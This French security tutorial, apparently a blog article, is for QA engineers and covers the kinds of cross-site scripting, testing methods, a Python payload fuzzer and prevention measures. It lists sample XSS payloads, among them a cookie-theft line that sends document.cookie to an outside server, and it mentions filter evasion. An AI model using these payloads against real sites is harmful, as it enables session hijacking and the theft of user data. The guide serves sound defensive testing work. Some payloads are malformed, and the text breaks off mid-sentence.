Vulnérabilités de Cross-Site Scripting (XSS) : stratégies de test et exemples

D'après les statistiques que j'ai consultées et mon expérience, les vulnérabilités XSS continuent de constituer une menace répandue pour les applications Web, posant des risques de vol de données, de détournement de session et de problèmes de sites Web. J'ai décidé que je pourrais passer plus de temps à rechercher ce type de vulnérabilité et partager avec vous au moins ces connaissances de base de type aperçu afin que de nombreux experts en assurance qualité et en développement puissent garder à l'esprit certaines façons de tester leurs applications par rapport à ce problème. Cet article explore différents types de XSS, méthodologies de test et approches d'automatisation et fournit quelques exemples et charges utiles pour des tests d'intrusion efficaces.

Le cross-site scripting (XSS) permet aux attaquants d'injecter des scripts malveillants dans des pages Web consultées par d'autres utilisateurs, exploitant ainsi les vulnérabilités de l'exécution de code côté client. Comprendre les différents types de vulnérabilités XSS et utiliser des stratégies de test appropriées sont essentiels pour créer des applications Web sécurisées et protégées contre de telles attaques.

Les exploits XSS se produisent lorsque des entrées utilisateur non fiables sont mal nettoyées et exécutées dans une application Web, permettant aux attaquants d'injecter et d'exécuter des scripts malveillants dans le contexte des navigateurs d'autres utilisateurs.

Types de vulnérabilités XSS

XSS réfléchi

Se produit lorsque les données fournies par l'utilisateur sont renvoyées dans la réponse sans validation appropriée.

Exemple : <script>alert('XSS_DEMO')</script> injecté via un paramètre d'URL.

Ces exploits se produisent lorsqu'une application Web reflète une entrée utilisateur non validée dans le navigateur de l'utilisateur sans nettoyage approprié. Dans cette attaque, l'attaquant crée une URL malveillante contenant un code de script qui, lorsque la victime clique dessus, est exécuté dans le contexte de la page Web vulnérable. Le script malveillant n'est pas stocké sur le serveur mais est reflété directement à partir de l'entrée de l'utilisateur. Les vulnérabilités XSS réfléchies sont souvent exploitées dans des attaques de phishing ou pour manipuler l'expérience de navigation de l'utilisateur. L’impact peut être grave, allant du vol de cookies au détournement de session.

XSS stocké

Le script malveillant est stocké en permanence sur le serveur et exécuté lorsqu'il est consulté par d'autres utilisateurs.

Exemple : script malveillant stocké dans un commentaire/une publication sur une publication de forum ou sur une page de profil de réseau social.

Également connu sous le nom de XSS persistant, il se produit lorsqu'un attaquant injecte un code de script malveillant dans une application Web, qui est ensuite stocké côté serveur. Ce script injecté est ensuite récupéré et exécuté chaque fois que d'autres utilisateurs accèdent à la page vulnérable. Les attaques XSS stockées sont particulièrement dangereuses car le script injecté persiste dans le temps, affectant potentiellement plusieurs utilisateurs et conduisant à une exploitation généralisée. Les attaquants ciblent généralement le contenu généré par les utilisateurs, tel que les commentaires, les messages de forum, les noms d'entités affichés sur les pages Web ou les champs de profil, pour exécuter leurs charges utiles malveillantes. Les conséquences du XSS stocké peuvent inclure le vol de données, le piratage de compte et la dégradation de sites Web, posant des risques importants à la fois aux utilisateurs et à l'organisation concernée.

XSS basé sur DOM

L'exécution du script repose sur la manipulation du DOM côté client.

Exemple : le code JS récupère et exécute les données contrôlées par l'utilisateur à partir du hachage de l'URL.

Cela se produit lorsqu'une application Web manipule dynamiquement le DOM sur la base d'une entrée utilisateur non fiable de manière dangereuse. Contrairement aux attaques XSS traditionnelles, qui impliquent un traitement côté serveur, le XSS basé sur DOM se manifeste entièrement côté client. Les attaquants exploitent le XSS basé sur DOM en manipulant des scripts côté client pour exécuter du code arbitraire dans le navigateur de la victime. Ce type de XSS est souvent plus difficile à détecter et à atténuer, car la vulnérabilité réside dans le code côté client et peut ne pas être évidente lors des tests côté serveur. Les attaques XSS basées sur DOM peuvent entraîner diverses conséquences, notamment le détournement de session, l'exfiltration de données et les actions non autorisées de la part de l'utilisateur, soulignant l'importance des mesures de sécurité côté client et des pratiques vigilantes de développement d'applications Web.

Auto-XSS

Il s'agit d'une attaque d'ingénierie sociale dans laquelle un attaquant incite un utilisateur à exécuter du code malveillant dans son navigateur. Contrairement aux attaques XSS traditionnelles qui ciblent plusieurs utilisateurs, Self-XSS exploite la confiance de l'utilisateur pour exécuter du code au sein de sa session. En règle générale, les attaquants incitent leurs victimes à coller du code JS apparemment innocent dans la console de développement de leur navigateur ou dans certains champs d'un site Web sous couvert d'une action inoffensive, comme déverrouiller une fonctionnalité ou gagner des récompenses. Une fois exécuté, le code injecté peut potentiellement compromettre le compte de la victime, voler des informations sensibles ou effectuer des actions non autorisées en son nom. Bien qu'il soit limité à la session de la victime, Self-XSS reste une menace, soulignant l'importance de l'éducation et de la sensibilisation des utilisateurs pour reconnaître et éviter de telles tactiques trompeuses.

Essai

Automatisation

• Utilisez des outils de test de sécurité tels que OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc. pour des analyses automatisées pour XSS.
• Configurez des outils pour explorer l'application, identifier les vecteurs d'entrée et injecter des charges utiles pour détecter les vulnérabilités XSS.
• Analysez les résultats de l'analyse pour les vulnérabilités identifiées, reproduisez-les manuellement, créez un PoC, comprenez l'impact potentiel et priorisez la résolution des problèmes.

Vous pouvez écrire des scripts ; Je préfère Python, par exemple :

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Tests manuels

• Identifiez les vecteurs d'entrée sensibles à l'injection XSS (par exemple, les champs de saisie, les paramètres d'URL). Vous pouvez utiliser des robots d'exploration et des renifleurs pour identifier les vecteurs plus efficacement.
• Créez des charges utiles pour exploiter les vulnérabilités XSS (par exemple, balises de script, gestionnaires d'événements).

Analysez les réponses pour déterminer si les charges utiles sont reflétées ou exécutées. Créez un PoC, comprenez l’impact potentiel et priorisez la résolution des problèmes.

Pas:

1. Saisissez une balise de script, suivie d'un code JS, dans les champs de saisie de votre application.

   Par exemple, charges utiles XSS de base :

    <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.

2. Soumettez l'entrée et voyez si le script s'exécute.

3. Si tel est le cas, l’application est vulnérable aux attaques XSS.

4. Si le script ne s'exécute pas, essayez de modifier l'entrée en ajoutant d'autres balises HTML, telles que <img> ou <iframe> , et voyez si elles se reflètent sur la page, par exemple (celle-ci fonctionne presque toujours pour moi) :

   <b>t</b>#`"/*—est

5. Vous pouvez ajouter un script pour interroger les paramètres de l'URL de votre application Web ou un nom d'utilisateur, les noms de fichiers téléchargés ou tout texte qui sera affiché sur la page de l'application et que vous pouvez modifier.

6. Soyez conscient des validations frontales des entrées. Essayez toujours de soumettre la valeur à l'aide d'une demande directe (en utilisant Postman, Burp ou tout autre outil similaire).

7. Vérifiez la console du navigateur dans les outils de développement car parfois vous ne verrez aucun changement visible sur la page, mais certains symboles, par exemple `"/*— peuvent casser le JS/HTML de la page, et vous verrez un avertissement dans la console qui pourrait être un indice pour vous sur la façon de modifier votre charge utile pour obtenir un PoC XSS

Utilisez le fuzzing et une liste de charges utiles - automatisez cette approche lorsque cela est possible ou utilisez des outils spéciaux pour cela.

Personnellement, j'aime utiliser les charges utiles et les informations d'ici , c'est une ressource très utile, à mon avis.

Tests en boîte noire

• Identification des vecteurs d'entrée vulnérables à l'injection XSS.
• Créer et injecter des charges utiles XSS pour évaluer l’impact et identifier les points vulnérables.

Tests en boîte grise

• Analyser le code source et les procédures de nettoyage pour les XSS potentiels.
• Tirer parti d’une connaissance partielle de l’application pour des tests ciblés.

Exploiter XSS

PoC XSS

• Démontre la confirmation de la vulnérabilité XSS en injectant des charges utiles exécutant du JS arbitraire.
• Utilisation de charges utiles alternatives telles que la fonction print() pour les navigateurs Chrome post-version 92.

Exploitation XSS avancée

• Pour voler des cookies, effectuer un piratage de session ou exécuter du code arbitraire.
• Pour usurper l'identité d'utilisateurs, capturer des informations d'identification ou dégrader des pages Web.

Contourner les filtres XSS

• Éviter les filtres XSS courants grâce à diverses techniques telles que l'insertion de valeurs d'attribut de balise, l'obscurcissement et la pollution des paramètres HTTP (HPP).
• Des exemples de scénarios présentent des mécanismes de contournement de filtre pour exécuter avec succès les charges utiles XSS.

Techniques de prévention

Validation des entrées et codage des sorties

• Implémentez des mécanismes de validation d'entrée (FE et BE) pour garantir que les données fournies par l'utilisateur correspondent aux formats attendus et ne contiennent pas de code malveillant.
• Désinfectez et validez toutes les entrées utilisateur côté serveur avant de les traiter ou de les stocker.
• Encodez les données de sortie de manière appropriée pour éviter qu'elles ne soient interprétées comme du contenu actif par le navigateur.
• Utilisez des techniques de codage telles que le codage d'entités HTML, le codage d'URL et l'échappement JS en fonction du contexte des données de sortie.

Politique de sécurité du contenu (CSP)

• Implémentez les en-têtes de politique de sécurité du contenu (CSP) pour définir et appliquer des politiques de sécurité concernant l'exécution de scripts, de feuilles de style et d'autres ressources au sein de l'application Web. CSP permet aux administrateurs de restreindre les sources à partir desquelles les scripts peuvent être chargés, atténuant ainsi le risque d'attaques XSS en empêchant l'exécution de scripts non autorisés.
• Configurez les directives CSP pour spécifier les domaines approuvés, l'utilisation des scripts et des styles en ligne, ainsi que les noms occasionnels de script, réduisant ainsi efficacement la surface d'attaque pour XSS.

Codage de sortie spécifique au contexte

Encodez les données en fonction du contexte dans lequel les données de sortie sont rendues. Appliquez différentes méthodes d'encodage pour HTML, JS, CSS et d'autres contextes pour garantir une protection complète contre XSS.

Par exemple , utilisez le codage d'entité HTML pour le contenu HTML, l'échappement JavaScript pour les contextes de script en ligne et l'échappement CSS pour les attributs de style afin d'empêcher l'injection de script et de maintenir l'intégrité des données dans divers contextes de sortie.

Liste blanche et liste noire des entrées

Implémentez une liste blanche et une liste noire des entrées pour filtrer et valider les entrées des utilisateurs en fonction de listes d'autorisation et de listes de refus prédéfinies de caractères, modèles ou types de contenu autorisés et interdits.

• La liste blanche implique de définir explicitement les formats d'entrée attendus et de rejeter toute entrée non conforme à ces spécifications.
• La liste noire identifie et bloque les entrées ou les modèles malveillants connus, même si elle peut être moins efficace en raison du potentiel d'évasion via des techniques de codage ou d'obscurcissement.

En-têtes de sécurité et bibliothèques de nettoyage

• Utilisez des en-têtes de sécurité tels que X-XSS-Protection, X-Content-Type-Options et X-Frame-Options pour améliorer la sécurité des applications Web et empêcher divers vecteurs d'attaque, y compris XSS.
• Intégrez des bibliothèques et des frameworks de nettoyage tiers dans la pile de développement pour automatiser la validation des entrées, l'encodage des sorties et d'autres tâches critiques pour la sécurité. Mettez régulièrement à jour et maintenez ces bibliothèques pour répondre efficacement aux menaces et vulnérabilités émergentes.

Pratiques de développement sécurisées et sensibilisation à la sécurité

• Promouvoir des pratiques de développement sécurisées au sein des équipes de développement et d'assurance qualité, en mettant l'accent sur l'importance d'écrire du code sécurisé, de procéder à des examens approfondis du code et d'effectuer des tests de sécurité tout au long du cycle de vie du développement logiciel.
• Favoriser une culture de sensibilisation à la sécurité parmi les développeurs, les ingénieurs QA et les autres parties prenantes, en encourageant l'apprentissage continu et le partage des connaissances concernant XSS et d'autres vulnérabilités, techniques d'exploitation et mesures préventives.
• Investissez dans des programmes de formation continue, des cours, des séminaires, des conférences et des ressources pour doter les membres de l’équipe des compétences et de l’expertise nécessaires pour identifier, gérer et prévenir efficacement le XSS.

XSS constitue une menace persistante pour les applications Web, risquant de compromettre la confiance des utilisateurs et des violations de données. Comprendre les types XSS et les méthodes de test est crucial pour une atténuation efficace. Les techniques de prévention telles que la validation des entrées, le codage des sorties et la mise en œuvre de CSP améliorent la sécurité des applications. En donnant la priorité aux pratiques de sécurité et à la collaboration, les équipes peuvent protéger leurs applications contre XSS et garantir une sécurité adéquate des applications Web.

Si vous êtes débutant et intéressé par la cybersécurité et les tests d'intrusion ou si vous souhaitez simplement améliorer votre application pour la rendre plus sécurisée, vous pouvez lire mes articles sur ces sujets :

• https://hackernoon.com/vulnerability-scanners-essentials
• https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers
• https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attack-prevention

Pour plus de détails sur XSS et les charges utiles, vous pouvez trouver les ressources suivantes :

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

Un rappel crucial :